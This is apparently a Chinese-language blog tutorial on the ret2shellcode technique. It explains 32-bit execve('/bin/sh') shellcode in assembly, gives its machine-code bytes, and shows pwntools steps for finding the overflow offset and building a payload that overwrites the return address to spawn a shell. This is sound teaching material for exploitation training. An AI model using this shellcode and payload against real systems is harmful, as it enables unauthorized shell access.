After learning ret2text, here comes the ret2shellcode.
ret2text的前提是程序中包含了系统调用shell的代码,只要直接覆盖返回地址到敏感代码就可以直接getshell了,但是实际上基本没有什么程序会包含这样的敏感代码,而这时候就需要自己去构造敏感代码了。

前提

  1. 程序中存在栈溢出漏洞,没有开启canary保护,并且溢出大小合适,能够让我们注入shellcode并覆盖返回地址。
  2. 由于我们要向程序中注入shellcode并且执行,所以要求程序中包含可读可写可执行的片段,比如没有开启NX (No eXecutable)保护的栈帧片段。

Implementation (只介绍在栈帧中注入shellcode的情况)

准备shellcode

最简单的shellcode就是execve('/bin/sh', NULL, NULL),然而我们想要把这个代码写进栈中并且执行的话就必须将其写成机器码的形式。
那么很显然,我们可以写一个C语言函数,然后将其编译成机器码,再使用工具查看其中的机器码作为shellcode。但是这样做有个很大的缺陷,那就是使用C语言编写的程序包含很多不必要的成分,比如函数调用,全局偏移表,序言和尾声代码等,所以最好的方法就是直接使用asm代码写shellcode再将其转化为机器码。

最简单实用的shellcode:

1
2
3
4
5
6
7
8
9
10
11
.global _start
_start:
xor %eax, %eax ; eax = 0
push %eax ; 压入字符串终止符null
push $0x68732f2f ; 压入"hs//" (little-endian)
push $0x6e69622f ; 压入"nib/" (little-endian)
mov %esp, %ebx ; 设置ebx
mov %eax, %ecx ; ecx = 0 (argv)
mov %eax, %edx ; edx = 0 (envp)
mov $0xb, %al ; eax = 11 (execve) 系统调用号
int $0x80

对该shellcode的解释

  1. 开头的.global _start_start:
  • .global _start: 声明_start为一个全局符号(链接器可见)
  • _start:: 程序入口点标签
  • 这两行代码并不会出现在最后的机器码中,因为它们是汇编器的指导性指令(directives),并不是CPU指令,就像C代码中的#include指令不会出现在机器码中一样。
  1. execve是Linux系统的系统调用,使用寄存器eax, ecx, edx传参,开头的xor命令将eax清零是一个习惯性的动作,防止原来的数据对之后的操作造成干扰。此处不使用mov清零的原因是使用mov $0 %eax清零的话会导致机器码中产生/x0,这会被某些被我们用来实现栈溢出的C函数识别成空字符'\0',从而终止输入,导致shellcode失效。

  2. push $0x68732f2f 这一行压入的是hs//,两个斜杠,这是为了保证八字节对齐,因为push压入的应该是4字节数据。//中的第二个/会被系统忽略。

  3. 系统调用的准备:

  • execve需要三个参数:
    • ebx: 字符串地址
    • ecx: 参数数组argv(此处为NULL)
    • edx: 环境变量envp(此处为NULL)

编译并查看机器码

1
2
3
$ as shellcode.s -o shellcode.o
$ objdump -d shellcode.o
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80

构造payload

查看缓冲区的偏移量

确定了缓冲区的偏移量之后才能够判断payload需要填充多少个字符,用来覆盖返回地址。

  1. 使用cyclic构造一个特定模式的字符串,比如aaaabbbbccccdddd...,4个字符一组递增的形式,将其输入触发栈溢出的危险函数,当这个字符串覆盖返回地址的时候,函数返回到奇怪的地址就会触发崩溃,程序暂停,而此时函数会输出EIP的内容,再把这个内容输入到cyclic,它就会计算出缓冲区相对于epb的偏移量。
1
2
3
io.sendline(cyclic(<a number>))  # 使用cyclic构造一个 <a number> 个字符的字符串,然后发送到目标程序。
io.wait() # 等待目标程序崩溃
print(cyclic_find(io.corefile.fault_addr)) #输出偏移量
  1. 通过gdb调试查看栈帧分布,确定偏移量
1
2
3
>>> p = remote("<ip>", <port>)
>>> cyclic -l <EIP>
<偏移量>

在确定了偏移量之后,我们就能够准确覆盖返回地址,但是还有一个问题,那就是要确定shellcode的地址,这样我们才能够将其放在函数返回地址上跳转调用。此时我们就需要知道缓冲区的地址(由于我们常常把 shellcode 放在 payload 的开始,所以 shellcode 的地址常常就是缓冲区的地址。如果 shellcode 不在开头,也可以通过偏移量计算。)

缓冲区的地址就需要使用 gbd 调试来查看我们的esp地址,从而计算出来。

1
2
3
payload = asm(shellcraft.sh())
payload = payload.ljust(<偏移量>, 'a')
payload += p32(<addr>)

最后p.send(payload), p.interactive()即可 get shell.